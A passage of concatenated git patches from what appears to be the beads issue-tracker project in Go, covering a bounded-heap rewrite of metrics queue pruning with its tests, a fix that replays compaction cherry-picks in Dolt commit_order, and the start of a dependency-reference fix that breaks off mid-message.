} } - - if truncated { - // The caps are an oldest-first decision over the WHOLE queue; a - // partial listing cannot make it correctly, and guessing from a - // prefix would drop batches that are not actually the oldest. The - // TTL deletions above already stand. - return dropped, freed - } - - if len(live) <= maxFiles && liveBytes <= maxBytes { - return dropped, freed - } - // Drop oldest-first until both caps are satisfied. - sort.Slice(live, func(i, j int) bool { return live[i].modTime.Before(live[j].modTime) }) - remaining, remainingBytes := len(live), liveBytes - for _, e := range live { - if remaining <= maxFiles && remainingBytes <= maxBytes { - break - } - if remove(e.path) { - dropped++ - freed += e.size - } - // A lost race (the file was uploaded-and-deleted concurrently) still - // shrinks the queue, so it counts against the caps either way. - remaining-- - remainingBytes -= e.size - } return dropped, freed } diff --git a/internal/metrics/prune_test.go b/internal/metrics/prune_test.go index b08217211..839a4ac01 100644 --- a/internal/metrics/prune_test.go +++ b/internal/metrics/prune_test.go @@ -1,11 +1,14 @@ package metrics import ( + "container/heap" "context" "errors" "fmt" "os" "path/filepath" + "strconv" + "strings" "testing" "time" ) @@ -300,39 +303,179 @@ func seedYoung(t *testing.T, dir string, n int, now time.Time) []string { return out } -// TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress pins the cap-skip livelock. -// The caps are the only bound on a queue whose files are all inside the TTL — -// exactly the 149k-file/1.1GB pile GH#5660 added them for. If the walk simply -// gave up at its deadline, that pass would drop nothing (nothing is past TTL) -// AND skip the cap pass (the listing is partial), the next spawn would reopen -// the directory at offset 0 and repeat, and the file/byte bound would never -// fire at all while emission kept appending. So: when the budget runs out with -// zero TTL progress, finish the listing and let the caps run. +// countingReader counts the ReadDir calls made through it, so a test can +// assert a walk stayed within its budgeted chunk count directly instead of +// inferring it from dropped/freed (which, for an all-young pile, can look +// the same across very different numbers of chunks examined). +type countingReader struct { + r dirChunkReader + calls int +} + +func (cr *countingReader) ReadDir(n int) ([]os.DirEntry, error) { + cr.calls++ + return cr.r.ReadDir(n) +} + +// TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress pins the cap-skip livelock +// half of be-wwy2.3. The caps are the only bound on a queue whose files are +// all inside the TTL — exactly the 149k-file/1.1GB pile GH#5660 added them +// for. Under the bounded-heap design, eviction happens incrementally as each +// entry is seen, so every chunk boundary is a safe stopping point: the walk +// must honor the ctx budget unconditionally here too, the same as any other +// pass, instead of finishing the whole listing just because nothing was +// TTL-eligible. func TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress(t *testing.T) { dir := t.TempDir() now := time.Now() const seeded = 200 const maxFiles = 10 - byAge := seedYoung(t, dir, seeded, now) + const budgetedChunks = 1 + seedYoung(t, dir, seeded, now) - // One chunk of budget, then the deadline is spent — with nothing past TTL - // for the first chunk (or any chunk) to have deleted. - dropped, _ := pruneQueue(expiringAfter(1), dir, now, 7*24*time.Hour, maxFiles, 64<<20) - if dropped == 0 { - t.Errorf("pruneQueue dropped 0 of %d young over-cap batches: the deadline skipped the cap pass, so neither drain ran and the next spawn repeats this pass from offset 0", seeded) + f, err := os.Open(dir) + if err != nil { + t.Fatal(err) } - got := names(t, dir) - if len(got) > maxFiles { - t.Errorf("queue holds %d files, want at most maxFiles=%d", len(got), maxFiles) + defer f.Close() + counting := &countingReader{r: f} + + // One chunk of budget, then the deadline is spent — with nothing past + // TTL for the first chunk (or any chunk) to have deleted. + dropped, freed := pruneQueueFrom(expiringAfter(budgetedChunks), counting, dir, now, 7*24*time.Hour, maxFiles, 64<<20) + + if counting.calls > budgetedChunks { + t.Errorf("pruneQueueFrom made %d ReadDir calls, want at most %d: a young over-cap pile must not force the walk to finish the whole listing just because nothing was TTL-eligible", counting.calls, budgetedChunks) } - // Whatever survives must be the youngest batches: the cap is an - // oldest-first decision over the whole listing. - for _, name := range byAge[maxFiles:] { - if got[name] { - t.Errorf("older batch %s survived while the cap was over: the cap pass did not see the whole listing", name) + // The budget honoring above is also pinned by TestPruneQueueStopsOnExpiredContext; + // what is specific to this test is that the caps still fire inside that one + // chunk. Without these assertions the test stays green with evict() stubbed + // to a no-op, i.e. under exactly the cap-skip livelock it is named for. + const wantDropped = pruneChunkSize - maxFiles // 64 - 10 = 54 + if dropped != wantDropped || freed != int64(wantDropped)*10 { + t.Errorf("pruneQueueFrom dropped=%d freed=%d, want %d/%d: the one budgeted chunk's own cap evictions must be applied during the walk, not deferred to a pass that never runs", dropped, freed, wantDropped, int64(wantDropped)*10) + } + if got, want := len(names(t, dir)), seeded-wantDropped; got != want { + t.Errorf("queue holds %d files, want %d (seeded %d - dropped %d)", got, want, seeded, wantDropped) + } +} + +// TestPruneQueueConvergesAcrossRepeatedCalls pins be-wwy2.3's actual fix: a +// young over-cap pile too large to examine within one budget converges to +// maxFiles across however many separate budget-respecting calls it takes — +// simulating repeated 5-minutes-apart send-metrics invocations against the +// same on-disk directory state — with no single call ever exceeding its own +// budgeted chunk count. This replaces the old single-pass-completeness +// guarantee (a young over-cap pile fully capped within one, possibly +// over-budget, call) with the multi-pass convergence the design trades it +// for. +func TestPruneQueueConvergesAcrossRepeatedCalls(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const seeded = 200 + const maxFiles = 10 + const budgetedChunks = 1 + const maxCalls = 50 // generous: a livelock must fail loud, not hang + seedYoung(t, dir, seeded, now) + + converged := false + for call := 0; call < maxCalls; call++ { + f, err := os.Open(dir) + if err != nil { + t.Fatal(err) + } + counting := &countingReader{r: f} + pruneQueueFrom(expiringAfter(budgetedChunks), counting, dir, now, 7*24*time.Hour, maxFiles, 64<<20) + f.Close() + + if counting.calls > budgetedChunks { + t.Fatalf("call %d: pruneQueueFrom made %d ReadDir calls, want at most %d", call, counting.calls, budgetedChunks) + } + if got := len(names(t, dir)); got <= maxFiles { + converged = true break } } + if !converged { + t.Fatalf("directory did not converge to <= maxFiles=%d within %d budget-respecting calls", maxFiles, maxCalls) + } +} + +// TestPruneQueueCapProgressNeedsMoreExaminedThanMaxFiles pins the safety +// property behind the non-convergent regime PruneQueue's design block +// discloses, and the exact boundary of it. The cap values are never scaled down +// to the prefix a budget-truncated pass managed to examine, because nothing +// about a prefix of at most maxFiles entries can prove any one of them is +// outside the newest maxFiles of the whole directory — scaling would delete +// entries a full pass keeps, which is the partial-listing hazard +// TestPruneQueueCapsOnlyTheExaminedPrefixOnPartialListing guards on the read-error path. +// +// The cost of that safety is what the first subtest pins: a pass whose budget +// examines no more than maxFiles entries evicts nothing at all, no matter how +// far over the cap the directory actually is, so repeated calls in this regime +// make no cap progress and pruneTTL is the only bound left. The second subtest +// is the control that keeps the first non-vacuous: one entry past maxFiles and +// the same walk evicts, so the first subtest's zero is the cap declining to act +// on too small a prefix rather than the walk failing to examine one. +func TestPruneQueueCapProgressNeedsMoreExaminedThanMaxFiles(t *testing.T) { + const seeded = 200 + const budgetedChunks = 1 // so exactly pruneChunkSize entries are examined + + t.Run("inert while examined <= maxFiles", func(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const maxFiles = pruneChunkSize // the tight edge: 64 examined, 64 allowed + const repeatedCalls = 3 + seedYoung(t, dir, seeded, now) + + for call := 0; call < repeatedCalls; call++ { + f, err := os.Open(dir) + if err != nil { + t.Fatal(err) + } + counting := &countingReader{r: f} + dropped, freed := pruneQueueFrom(expiringAfter(budgetedChunks), counting, dir, now, 7*24*time.Hour, maxFiles, 64<<20) + f.Close() + + if counting.calls > budgetedChunks { + t.Fatalf("call %d: pruneQueueFrom made %d ReadDir calls, want at most %d", call, counting.calls, budgetedChunks) + } + if dropped != 0 || freed != 0 { + t.Fatalf("call %d: pruneQueueFrom = (%d dropped, %d freed), want (0, 0): a pass that examined %d of %d entries must not cap that prefix against maxFiles=%d", + call, dropped, freed, pruneChunkSize, seeded, maxFiles) + } + if got := len(names(t, dir)); got != seeded { + t.Fatalf("call %d: queue holds %d files, want all %d untouched: repeated calls in this regime make no cap progress by design", call, got, seeded) + } + } + }) + + t.Run("evicts once examined exceeds maxFiles", func(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const maxFiles = pruneChunkSize - 1 // one entry past the cap + seedYoung(t, dir, seeded, now) + + f, err := os.Open(dir) + if err != nil { + t.Fatal(err) + } + defer f.Close() + counting := &countingReader{r: f} + dropped, freed := pruneQueueFrom(expiringAfter(budgetedChunks), counting, dir, now, 7*24*time.Hour, maxFiles, 64<<20) + + if counting.calls > budgetedChunks { + t.Fatalf("pruneQueueFrom made %d ReadDir calls, want at most %d", counting.calls, budgetedChunks) + } + const wantDropped = pruneChunkSize - maxFiles // exactly 1 + if dropped != wantDropped || freed != int64(wantDropped)*10 { + t.Errorf("pruneQueueFrom dropped=%d freed=%d, want %d/%d: the same walk must evict as soon as the examined prefix exceeds maxFiles", + dropped, freed, wantDropped, int64(wantDropped)*10) + } + if got, want := len(names(t, dir)), seeded-wantDropped; got != want { + t.Errorf("queue holds %d files, want %d", got, want) + } + }) } // failAfterChunks serves n real directory chunks and then fails, standing in @@ -352,16 +495,37 @@ func (f *failAfterChunks) ReadDir(n int) ([]os.DirEntry, error) { return f.r.ReadDir(n) } -// TestPruneQueueDoesNotCapOnPartialListing pins the fail-closed half. A -// non-EOF read error ends the walk holding only a PREFIX of the queue. The -// oldest-first caps cannot be decided from a prefix — dropping "the oldest of -// what we happened to see" deletes batches that are not actually the oldest, -// which is the mistake the truncation path exists to prevent (the os.ReadDir -// implementation this replaced failed closed by returning 0, 0). -func TestPruneQueueDoesNotCapOnPartialListing(t *testing.T) { +// recordingReader wraps a dirChunkReader and records the name of every entry +// it serves. ReadDir order is filesystem-dependent, not chronological (see +// prune.go's own comment on the walk), so a test cannot assume which names +// land in the first chunk — recording them is what lets a test verify claims +// about "the examined prefix" without depending on iteration order. +type recordingReader struct { + r dirChunkReader + seen []string +} + +func (rr *recordingReader) ReadDir(n int) ([]os.DirEntry, error) { + dirents, err := rr.r.ReadDir(n) + for _, de := range dirents { + rr.seen = append(rr.seen, de.Name()) + } + return dirents, err +} + +// TestPruneQueueCapsOnlyTheExaminedPrefixOnPartialListing pins the fail-closed half, updated +// for the bounded-heap design's incremental eviction: a non-EOF read error +// ends the walk holding only a PREFIX of the queue, but under this design +// that prefix's own eviction decisions were already made and applied as it +// was examined, so they stand. What must NOT happen is any decision about +// the un-examined remainder — that part is left exactly as it was, not +// capped from a guessed-at prefix (the mistake the old truncation path +// existed to prevent). +func TestPruneQueueCapsOnlyTheExaminedPrefixOnPartialListing(t *testing.T) { dir := t.TempDir() now := time.Now() const seeded = 200 + const maxFiles = 10 seedYoung(t, dir, seeded, now) f, err := os.Open(dir) @@ -370,14 +534,169 @@ func TestPruneQueueDoesNotCapOnPartialListing(t *testing.T) { } defer f.Close() - // One good chunk, then the listing breaks: everything seen so far is a - // prefix, and no cap decision may be made from it. - r := &failAfterChunks{r: f, remaining: 1} - dropped, freed := pruneQueueFrom(context.Background(), r, dir, now, 7*24*time.Hour, 10, 64<<20) - if dropped != 0 || freed != 0 { - t.Errorf("pruneQueue over a listing that failed mid-walk = (%d dropped, %d freed), want (0, 0): the caps ran over a partial prefix", dropped, freed) + // One good chunk, then the listing breaks. + rec := &recordingReader{r: f} + failing := &failAfterChunks{r: rec, remaining: 1} + dropped, freed := pruneQueueFrom(context.Background(), failing, dir, now, 7*24*time.Hour, maxFiles, 64<<20) + + if len(rec.seen) != pruneChunkSize { + t.Fatalf("test setup: examined %d entries, want exactly %d (one full chunk)", len(rec.seen), pruneChunkSize) } - if got := len(names(t, dir)); got != seeded { - t.Errorf("queue holds %d files after a failed listing, want all %d untouched", got, seeded) + const wantDropped = pruneChunkSize - maxFiles // 64 - 10 = 54 + if dropped != wantDropped || freed != int64(wantDropped)*10 { + t.Errorf("dropped=%d freed=%d, want %d/%d: a partial listing's own examined-prefix eviction must stand, not be discarded", dropped, freed, wantDropped, int64(wantDropped)*10) + } + + got := names(t, dir) + if want := seeded - wantDropped; len(got) != want { + t.Fatalf("queue holds %d files, want %d (seeded %d - dropped %d)", len(got), want, seeded, wantDropped) + } + + examined := map[string]bool{} + for _, name := range rec.seen { + examined[name] = true + } + nameAge := func(name string) time.Duration { + trimmed := strings.TrimSuffix(name, queuedEventExt) + trimmed = strings.TrimPrefix(trimmed, "b") + idx, convErr := strconv.Atoi(trimmed) + if convErr != nil { + t.Fatalf("parse index from %s: %v", name, convErr) + } + return time.Duration(idx+1) * time.Minute + } + + examinedSurvivors, examinedDropped := 0, 0 + var oldestSurvivorAge, youngestDroppedAge time.Duration + haveSurvivor, haveDropped := false, false + for name := range examined { + age := nameAge(name) + if got[name] { + examinedSurvivors++ + if !haveSurvivor || age > oldestSurvivorAge { + oldestSurvivorAge = age + haveSurvivor = true + } + } else { + examinedDropped++ + if !haveDropped || age < youngestDroppedAge { + youngestDroppedAge = age + haveDropped = true + } + } + } + if examinedSurvivors != maxFiles { + t.Errorf("examined chunk kept %d survivors, want exactly maxFiles=%d", examinedSurvivors, maxFiles) + } + if examinedDropped != wantDropped { + t.Errorf("examined chunk dropped %d, want %d", examinedDropped, wantDropped) + } + if haveSurvivor && haveDropped && oldestSurvivorAge > youngestDroppedAge { + t.Errorf("a kept survivor (age %v) is older than a dropped entry (age %v): the cap did not keep the newest of the examined chunk", oldestSurvivorAge, youngestDroppedAge) + } + + for i := 0; i < seeded; i++ { + name := fmt.Sprintf("b%04d%s", i, queuedEventExt) + if !examined[name] && !got[name] { + t.Errorf("never-examined entry %s was removed: only the examined prefix may be touched", name) + } + } +} + +// TestQueueMinHeapNeverExceedsCapacity is the heap-invariant regression for +// be-wwy2.3: pruneQueueFrom's walk pushes one live entry at a time and evicts +// the oldest whenever the heap grows past maxFiles, so the heap itself must +// never hold more than maxFiles entries at any point during that sequence — +// not just after the walk completes. This is what backs the "bounded memory" +// claim in the design: a single prune pass's peak memory for live candidates +// is O(maxFiles), not O(every live entry in the directory). +func TestQueueMinHeapNeverExceedsCapacity(t *testing.T) { + const maxFiles = 10 + const seeded = 200 + now := time.Now() + + // entry(i) is the i-th newest: modTime now-(i+1)min, so entries 0..maxFiles-1 + // are the survivors a correct count-capped walk must keep. + entry := func(i int) queueEntry { + return queueEntry{ + path: fmt.Sprintf("q%04d%s", i, queuedEventExt), + modTime: now.Add(-time.Duration(i+1) * time.Minute), + size: 10, + } + } + + h := &queueMinHeap{} + heap.Init(h) + for n := 0; n < seeded; n++ { + // Push in a deterministic NON-chronological order (stride 97 is + // coprime with 200, so it permutes them): readdir order is the + // filesystem's, never age order, so the heap has to reorder rather + // than receive its input pre-sorted. + heap.Push(h, entry((n*97)%seeded)) + for h.Len() > maxFiles { + // Every pop must hand back the OLDEST entry the heap holds. That + // is the contract evict() actually consumes — it unlinks the path + // the pop RETURNS — and a Len()-only assertion cannot see a Pop + // that returns the wrong entry, because such a Pop still shrinks + // the heap by one. This is the assertion that pins queueMinHeap.Pop. + popped := heap.Pop(h).(queueEntry) + for _, held := range *h { + if !popped.modTime.Before(held.modTime) { + t.Fatalf("push %d: popped %s (mod %s) while the heap still holds %s (mod %s), which is not newer: evict() would unlink the wrong file", + n, popped.path, popped.modTime, held.path, held.modTime) + } + } + } + if h.Len() > maxFiles { + t.Fatalf("after push %d: heap holds %d entries, want at most %d", n, h.Len(), maxFiles) + } + } + + // The survivors are the maxFiles newest pushed entries by IDENTITY, not + // merely by count: with only the count cap evicting, this is exactly the + // "held set is the maxFiles-newest examined so far" claim queueMinHeap's + // own doc makes, and it is independent of the push order above. + if h.Len() != maxFiles { + t.Fatalf("final heap holds %d entries, want exactly %d (seeded %d > maxFiles)", h.Len(), maxFiles, seeded) + } + held := map[string]bool{} + for _, e := range *h { + held[e.path] = true + } + if len(held) != maxFiles { + t.Fatalf("final heap holds %d distinct paths across %d entries: an entry is held twice", len(held), h.Len()) + } + for i := 0; i < maxFiles; i++ { + if !held[entry(i).path] { + t.Errorf("final heap is missing %s: the %d newest pushed entries must be the survivors", entry(i).path, maxFiles) + } + } +} + +// TestQueueMinHeapCapacityZero pins the maxFiles=0 edge case the design +// calls out explicitly: every pushed entry must be immediately evictable +// back off again, with no off-by-one that assumes a non-zero capacity. +func TestQueueMinHeapCapacityZero(t *testing.T) { + const maxFiles = 0 + now := time.Now() + + h := &queueMinHeap{} + heap.Init(h) + want := queueEntry{path: "q.evtq", modTime: now, size: 10} + heap.Push(h, want) + var popped []queueEntry + for h.Len() > maxFiles { + popped = append(popped, heap.Pop(h).(queueEntry)) + } + if h.Len() != 0 { + t.Fatalf("heap holds %d entries after evicting to maxFiles=0, want 0", h.Len()) + } + // evict() unlinks the path and subtracts the size each pop returns, so an + // entry pushed under a zero capacity has to come back out identified, not + // just counted off. (The wrong-entry Pop contract is pinned by + // TestQueueMinHeapNeverExceedsCapacity; with a single held entry the + // oldest and the newest are the same one, so it cannot be pinned here.) + if len(popped) != 1 || popped[0].path != want.path || popped[0].size != want.size { + t.Fatalf("pops returned %+v, want exactly one %+v: a zero-capacity push must hand the pushed entry back for unlinking", popped, want) } } From fb43d97220849df3f651f32d4c9a6094f658658a Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sun, 27 Sep 2026 02:06:57 -0700 Subject: [PATCH 147/624] fix(compact): replay cherry-picks in commit_order, not commit date (#6644) bd compact --days N replayed the preserved commits in commit-date order. Dolt does not require dates to be monotonic along the parent chain, so a child dated before its parent was cherry-picked first and conflicted on any shared row (#6516). Log now also surfaces dolt_log.commit_order (CommitInfo.CommitOrder), and both compact paths (embedded/server and proxied-server) share a new planCompaction helper that sorts the recent commits by commit_order ascending. Old/recent partition, initialHash and boundaryHash selection are unchanged (still date-based). Adds unit tests for the planner and an embedded-Dolt regression test that reproduces the issue (child dated 20 min before its parent). Co-authored-by: Claude Sonnet 5 --- cmd/bd/compact_dolt.go | 27 +------- cmd/bd/compact_embedded_test.go | 64 +++++++++++++++++++ cmd/bd/compact_plan.go | 53 +++++++++++++++ cmd/bd/compact_plan_test.go | 51 +++++++++++++++ cmd/bd/compact_proxied_server.go | 23 +------ internal/storage/version_control.go | 5 ++ .../versioncontrolops/version_control.go | 10 +-- 7 files changed, 185 insertions(+), 48 deletions(-) create mode 100644 cmd/bd/compact_plan.go create mode 100644 cmd/bd/compact_plan_test.go diff --git a/cmd/bd/compact_dolt.go b/cmd/bd/compact_dolt.go index 9fa340355..8ef9c1a88 100644 --- a/cmd/bd/compact_dolt.go +++ b/cmd/bd/compact_dolt.go @@ -91,30 +91,9 @@ Examples: cutoff := time.Now().AddDate(0, 0, -compactDoltDays) - var oldCommits int - var recentHashes []string - var initialHash, boundaryHash string - - for _, entry := range logEntries { - if entry.Date.Before(cutoff) { - oldCommits++ - boundaryHash = entry.Hash - } else { - recentHashes = append(recentHashes, entry.Hash) - } - } - initialHash = logEntries[totalCommits-1].Hash - boundaryHash = "" - for _, entry := range logEntries { - if entry.Date.Before(cutoff) { - boundaryHash = entry.Hash - break - } - } - - for i, j := 0, len(recentHashes)-1; i < j; i, j = i+1, j-1 { - recentHashes[i], recentHashes[j] = recentHashes[j], recentHashes[i] - } + plan := planCompaction(logEntries, cutoff) + oldCommits, recentHashes := plan.oldCommits, plan.recentHashes + initialHash, boundaryHash := plan.initialHash, plan.boundaryHash recentCommits := len(recentHashes) diff --git a/cmd/bd/compact_embedded_test.go b/cmd/bd/compact_embedded_test.go index 7177676a9..c506b6832 100644 --- a/cmd/bd/compact_embedded_test.go +++ b/cmd/bd/compact_embedded_test.go @@ -6,9 +6,14 @@ import ( "fmt" "os" "os/exec" + "path/filepath" "strings" "sync" "testing" + "time" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" ) // bdCompact runs "bd compact" with the given args and returns stdout. @@ -190,3 +195,62 @@ func TestEmbeddedCompactConcurrent(t *testing.T) { } } } + +// TestEmbeddedCompactMisdatedChild reproduces #6516: two commits editing the +// same row where the child is dated before its parent. Compact must replay the +// preserved commits in graph order (dolt_log.commit_order), not date order, +// or the cherry-pick of the child conflicts. +func TestEmbeddedCompactMisdatedChild(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "md") + issue := bdCreate(t, bd, dir, "Misdated bead", "--type", "task") + bdCreate(t, bd, dir, "Filler bead", "--type", "task") + + cfg, _ := configfile.Load(beadsDir) + database := "" + if cfg != nil { + database = cfg.GetDoltDatabase() + } + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), filepath.Join(beadsDir, "embeddeddolt"), database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + conn, err := db.Conn(t.Context()) + if err != nil { + t.Fatalf("db.Conn: %v", err) + } + // Both commits are dated in the future so --days 0 preserves them; the + // child (edit B) is dated 20 minutes before its parent (edit A). + now := time.Now() + edits := []struct { + title string + date time.Time + }{ + {"edit A", now.Add(40 * time.Minute)}, + {"edit B", now.Add(20 * time.Minute)}, + } + for _, e := range edits { + if _, err := conn.ExecContext(t.Context(), "UPDATE issues SET title = ? WHERE id = ?", e.title, issue.ID); err != nil { + t.Fatalf("update title %q: %v", e.title, err) + } + if _, err := conn.ExecContext(t.Context(), "CALL DOLT_COMMIT('-Am', ?, '--date', ?)", + "repro: "+e.title, e.date.Format(time.RFC3339)); err != nil { + t.Fatalf("dolt commit %q: %v", e.title, err) + } + } + conn.Close() + if err := cleanup(); err != nil { + t.Fatalf("cleanup: %v", err) + } + + bdCompact(t, bd, dir, "--force", "--days", "0") + + if got := bdShow(t, bd, dir, issue.ID).Title; got != "edit B" { + t.Errorf("title after compact = %q, want %q", got, "edit B") + } +} diff --git a/cmd/bd/compact_plan.go b/cmd/bd/compact_plan.go new file mode 100644 index 000000000..818719032 --- /dev/null +++ b/cmd/bd/compact_plan.go @@ -0,0 +1,53 @@ +package main + +import ( + "sort" + "time" + + "github.com/steveyegge/beads/internal/storage" +) + +// compactPlan is the old/recent partition of a Dolt commit history used by +// `bd compact --days N`. +type compactPlan struct { + // oldCommits is the number of commits dated before the cutoff. + oldCommits int + // recentHashes are the commits to preserve, in ascending graph + // (commit_order) order so a cherry-pick replay applies every parent before + // its children. + recentHashes []string + // initialHash and boundaryHash are the soft-reset target and the temp + // branch point for the squashed base. + initialHash, boundaryHash string +} + +// planCompaction partitions logEntries (as returned by Log: newest commit date +// first, non-empty) around cutoff. Old/recent membership, initialHash and +// boundaryHash are selected by commit date as before. The replay order of the +// recent commits is by Dolt's commit_order, not by date: commit dates are not +// required to be monotonic along the parent chain, so a child dated before its +// parent would otherwise be cherry-picked first and conflict (#6516). +func planCompaction(logEntries []storage.CommitInfo, cutoff time.Time) compactPlan { + var plan compactPlan + recent := make([]storage.CommitInfo, 0, len(logEntries)) + for _, entry := range logEntries { + if entry.Date.Before(cutoff) { + plan.oldCommits++ + if plan.boundaryHash == "" { + plan.boundaryHash = entry.Hash + } + } else { + recent = append(recent, entry) + } + } + plan.initialHash = logEntries[len(logEntries)-1].Hash + + sort.SliceStable(recent, func(i, j int) bool { + return recent[i].CommitOrder < recent[j].CommitOrder + }) + plan.recentHashes = make([]string, 0, len(recent)) + for _, entry := range recent { + plan.recentHashes = append(plan.recentHashes, entry.Hash) + } + return plan +} diff --git a/cmd/bd/compact_plan_test.go b/cmd/bd/compact_plan_test.go new file mode 100644 index 000000000..fc606f23e --- /dev/null +++ b/cmd/bd/compact_plan_test.go @@ -0,0 +1,51 @@ +package main + +import ( + "reflect" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" +) + +// TestPlanCompactionReplaysInCommitOrder covers #6516: a child dated before its +// parent must still be replayed after it. Entries are in Log order (date DESC). +func TestPlanCompactionReplaysInCommitOrder(t *testing.T) { + now := time.Now() + cutoff := now.Add(-time.Hour) + entries := []storage.CommitInfo{ + {Hash: "parent", Date: now.Add(40 * time.Minute), CommitOrder: 4}, + {Hash: "child", Date: now.Add(20 * time.Minute), CommitOrder: 5}, // dated before its parent + {Hash: "mid", Date: now.Add(-30 * time.Minute), CommitOrder: 3}, + {Hash: "old2", Date: now.Add(-2 * time.Hour), CommitOrder: 2}, + {Hash: "old1", Date: now.Add(-3 * time.Hour), CommitOrder: 1}, + } + // Log order is date DESC: parent(+40m), child(+20m), mid, old2, old1. + plan := planCompaction(entries, cutoff) + + want := []string{"mid", "parent", "child"} + if !reflect.DeepEqual(plan.recentHashes, want) { + t.Errorf("recentHashes = %v, want %v (ascending commit_order)", plan.recentHashes, want) + } + if plan.oldCommits != 2 { + t.Errorf("oldCommits = %d, want 2", plan.oldCommits) + } + // Partition selection stays date-based. + if plan.boundaryHash != "old2" { + t.Errorf("boundaryHash = %q, want old2", plan.boundaryHash) + } + if plan.initialHash != "old1" { + t.Errorf("initialHash = %q, want old1", plan.initialHash) + } +} + +func TestPlanCompactionNoRecent(t *testing.T) { + now := time.Now() + plan := planCompaction([]storage.CommitInfo{ + {Hash: "b", Date: now.Add(-time.Hour), CommitOrder: 2}, + {Hash: "a", Date: now.Add(-2 * time.Hour), CommitOrder: 1}, + }, now) + if len(plan.recentHashes) != 0 || plan.oldCommits != 2 || plan.boundaryHash != "b" || plan.initialHash != "a" { + t.Errorf("unexpected plan: %+v", plan) + } +} diff --git a/cmd/bd/compact_proxied_server.go b/cmd/bd/compact_proxied_server.go index e143d31fb..0bf46fb01 100644 --- a/cmd/bd/compact_proxied_server.go +++ b/cmd/bd/compact_proxied_server.go @@ -52,27 +52,10 @@ func runCompactProxiedServer(ctx context.Context) error { cutoff := time.Now().AddDate(0, 0, -compactDoltDays) - var oldCommits int - var recentHashes []string - for _, entry := range logEntries { - if entry.Date.Before(cutoff) { - oldCommits++ - } else { - recentHashes = append(recentHashes, entry.Hash) - } - } - initialHash := logEntries[totalCommits-1].Hash - boundaryHash := "" - for _, entry := range logEntries { - if entry.Date.Before(cutoff) { - boundaryHash = entry.Hash - break - } - } + plan := planCompaction(logEntries, cutoff) + oldCommits, recentHashes := plan.oldCommits, plan.recentHashes + initialHash, boundaryHash := plan.initialHash, plan.boundaryHash - for i, j := 0, len(recentHashes)-1; i < j; i, j = i+1, j-1 { - recentHashes[i], recentHashes[j] = recentHashes[j], recentHashes[i] - } recentCommits := len(recentHashes) if compactDoltDryRun { diff --git a/internal/storage/version_control.go b/internal/storage/version_control.go index 6d974b4f8..baa79dda0 100644 --- a/internal/storage/version_control.go +++ b/internal/storage/version_control.go @@ -12,6 +12,11 @@ type CommitInfo struct { Email string Date time.Time Message string + // CommitOrder is Dolt's ancestry-derived position of the commit in the + // history graph (dolt_log.commit_order): a parent always has a lower value + // than its children, regardless of commit dates, which are not required to + // be monotonic along the parent chain. + CommitOrder int64 } // StatusEntry represents a changed table in the working set. diff --git a/internal/storage/versioncontrolops/version_control.go b/internal/storage/versioncontrolops/version_control.go index f657fe401..9ad8b0ff0 100644 --- a/internal/storage/versioncontrolops/version_control.go +++ b/internal/storage/versioncontrolops/version_control.go @@ -43,16 +43,18 @@ func Status(ctx context.Context, db DBConn) (*storage.Status, error) { return status, rows.Err() } -// Log returns recent commit history up to limit entries. +// Log returns recent commit history up to limit entries, newest commit date +// first. Each entry also carries Dolt's commit_order so callers that need graph +// (ancestry) order can sort by CommitOrder instead of trusting commit dates. // If limit is 0 or negative, all entries are returned. func Log(ctx context.Context, db DBConn, limit int) ([]storage.CommitInfo, error) { var query string var args []interface{} if limit > 0 { - query = "SELECT commit_hash, committer, email, date, message FROM dolt_log ORDER BY date DESC LIMIT ?" + query = "SELECT commit_hash, committer, email, date, message, commit_order FROM dolt_log ORDER BY date DESC LIMIT ?" args = []interface{}{limit} } else { - query = "SELECT commit_hash, committer, email, date, message FROM dolt_log ORDER BY date DESC" + query = "SELECT commit_hash, committer, email, date, message, commit_order FROM dolt_log ORDER BY date DESC" } rows, err := db.QueryContext(ctx, query, args...) if err != nil { @@ -63,7 +65,7 @@ func Log(ctx context.Context, db DBConn, limit int) ([]storage.CommitInfo, error var commits []storage.CommitInfo for rows.Next() { var c storage.CommitInfo - if err := rows.Scan(&c.Hash, &c.Author, &c.Email, &c.Date, &c.Message); err != nil { + if err := rows.Scan(&c.Hash, &c.Author, &c.Email, &c.Date, &c.Message, &c.CommitOrder); err != nil { return nil, fmt.Errorf("scan commit: %w", err) } commits = append(commits, c) From 1cbac71ef7ba16cd1b65bfa90f9e718c41c9551e Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sun, 27 Sep 2026 02:09:19 -0700 Subject: [PATCH 148/624] fix: dep add stores an unresolved target as a bare external ref, then readers drop it (#6571) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — dep add stores a cross-store target as a bare external ref, then readers drop it (from:gm-ri3xl0) (refs be-gmdx5) * feat: green — dep add stores a cross-store target as a bare external ref, then readers drop it (from:gm-ri3xl0) (refs be-gmdx5) * chore: release gate PASS for dep-add-external-ref (be-fghsd) * fix(dep): keep the bare cross-prefix dep target, refuse only type:id Review of #6571. The previous commit closed both bug shapes by requiring any target that failed local/routed resolution to be a well-formed external: ref. That over-reached: only one of the two shapes was malformed. A bare, differently-prefixed target is first-class by this codebase's own definition. issueops.IsExternalDepTarget says a target "whose id prefix names ANOTHER REPOSITORY" belongs in depends_on_external alongside external: refs, and calls that the single rule every backend must classify by; db.pickDepTargetColumn restates it. It is the multi-rig "add now, route later" shape, and the ExtractPrefix fallbacks in validateBulkDepEdges and dep remove still address such an edge. Refusing it in dep add meant refusing to create an edge the store holds and dep remove can still delete. The type:id misparse stays refused, and by a sharper test than a prefix comparison: no bd ID contains ":", and the external: shape is already handled above, so anything else containing ":" is malformed regardless of prefix. The error now names the flag form that would have worked. Adds a test 